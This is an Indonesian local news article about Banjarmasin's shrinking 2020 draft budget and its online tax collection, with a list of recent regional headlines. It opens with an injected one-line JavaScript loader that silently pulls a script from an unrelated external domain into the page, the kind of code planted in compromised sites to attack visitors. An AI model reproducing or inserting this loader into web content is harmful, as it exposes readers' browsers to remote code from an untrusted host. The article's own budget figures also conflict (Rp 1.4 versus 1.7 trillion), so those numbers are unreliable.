(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

RABPD 2020 Susut, Pemko Banjarmasin Berdalih Imbas Turunnya Dana Perimbangan Pusat


BANJARMASIN, Pemko Banjarmasin mengajukan Rancangan ABPD (RAPBD) Kota Banjarmasin tahun 2020 sebesar Rp 1,4 triliun. Jumlah tersebut menurun 15% jika dibandingkan APBD 2019 sebesar Rp 1,7 triliun.

Hal ini disampaikan oleh Walikota Banjarmasin H. Ibnu Sina usai penyampaian nota keuangan dalam Rapat Paripurna dengan DPRD Kota Banjarmasin, Jumat (25/10) siang. “Memang ada penurunan karena ada dana perimbangan yang juga menurun. Tetapi biasanya, di anggaran perubahan kita akan menyesuaikan. Mudah-mudahan secara keseluruhan APBD 2020 terjadi peningkatan,” kata Ibnu, Jumat (25/10) siang.

“Di desain turunnya sekitar Rp200 miliar. RABPD 2020 sekarang sekitar Rp1,7 triliun dan Rp1,9 triliun untuk belanjanya,” sebut Ibnu.

Kendati demikian, jika dilihat dari aspek belanja, Walikota Ibnu menjelaskan, telah menembus angka psikologis Rp2 triliun, sehingga masuk kategori kinerja tinggi. “Mudah-mudahan ini bisa dimaksimalkan, dan target penerimaan juga mudah-mudahan dioptimalkan lagi,” sebut Ibnu.

Sementara itu, Kepala Badan Keuangan Daerah (Bakeuda) Banjarmasin Subhan Nor Yaumil menyebut, dana bagi hasil mengalami banyak penurunan. “Dari Rp 239 miliar, sekarang kita hanya dapat Rp 154 miliar. Sehingga ada penurunan Rp 85 miliar,” sebut Subhan.

Subhan mengatakan, menurunnya dana perimbangan dari pusat tidak hanya dialami oleh Kota Banjarmasin. Namun juga hampir di seluruh Indonesia. “Bukan cuma Banjarmasin yang turun, penyalurannya dari pemerintah pusat. Mungkin pemerintah pusat lebih tahu,” ujar Subhan.

Optimalkan PAD dari Pajak Online

Tahun ini, Pemko Banjarmasin telah bekerjasama dengan sejumlah perbankan. Langkah ini diambil dengan penerapan sistem pajak online, untuk dapat memaksimalkan serapan anggaran berupa PAD (pendapatan asli daerah). “Trennya positif,” sebut Ibnu.

Ibnu mencontohkan, di salah satu rumah makan, sebelum penerapan pajak online, PAD yang diperoleh hanya Rp 8 juta. Namun, setelah menerapkan pajak online, melonjak drastis menjadi Rp30 juta. “Itu baru satu contoh rumah makan,” tegasnya.

Kemudian, Ibnu menjelaskan, penerapan pajak online ini akan disinergikan dengan command center dan program smart city. Sehingga, dapat dilihat secara real time. “Setiap hari ada transaksi, setiap hari kita lihat tren dan perkembangan PAD kita. Sehingga, di sana kita bisa evaluasi nanti untuk APBD 2020 mendatang,” jelas Ibnu. (fikri)

Reporter : Fikri
Editor : Chell

 


Desy Arfianty

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

9 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

9 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

9 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

13 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

13 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

15 jam ago

This website uses cookies.